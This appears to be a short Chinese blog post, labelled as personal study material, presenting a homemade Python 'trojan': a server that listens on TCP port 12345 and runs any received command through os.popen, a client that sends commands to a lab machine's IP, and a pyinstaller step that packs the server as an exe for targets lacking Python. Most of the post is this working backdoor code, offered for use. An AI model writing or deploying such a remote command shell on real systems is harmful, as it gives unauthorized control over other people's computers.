仅作为个人学习使用,请勿用于非法用途
C/S结构
服务端负责接收tcp报文,并通过python提供的os模块来执行接收到的远程命令。这就是我们写的小木马。
客户端也就是我们要向目标靶机发送报文的一端,负责传输数据到服务端。
服务端代码
import os
from socket import *
# 创建连接 tcp
# AF_INET:IPV4; SOCK_STREAM:tcp
client = socket(AF_INET, SOCK_STREAM)
# 绑定主机IP:本地ip, 12345端口
address = ("", 12345)
client.bind(address)
# 监听队列长度
client.listen(5)
while True:
newSocket, clientSocket = client.accept()
while True:
cmd = newSocket.recv(4096)
# 判断cmd是否有内容
if len(cmd) > 0:
print("console:" + cmd.decode('utf-8'))
# 做控制操作
# res打开命令行
res = os.popen(cmd.decode('utf-8'), 'r')
newSocket.send(res.read().encode('utf-8'))
# res关闭命令行
res.close()
else:
break
newSocket.close()
客户端代码
from socket import *
tcpSocket = socket(AF_INET, SOCK_STREAM)
serverAddress = ('192.168.223.138', 12345)
tcpSocket.connect(serverAddress)
while True:
sendCmd = input("cmd>>")
if len(sendCmd) > 0:
tcpSocket.send(sendCmd.encode('utf-8'))
else:
break
# 接受执行后的结果
recv = tcpSocket.recv(4096)
print(recv.decode("utf-8"))
tcpSocket.close()
上面这段代码也就实现了很low的功能,还研究了一天。。。
写好代码后有一个问题,目标靶机上没有py解释环境怎么办,那就打包呗。
pyinstaller可以实现把py代码打包成exe程序。
pyinstaller -F filename.py
ok了,把exe放到虚拟机了看看效果,成功!这一天没有白费。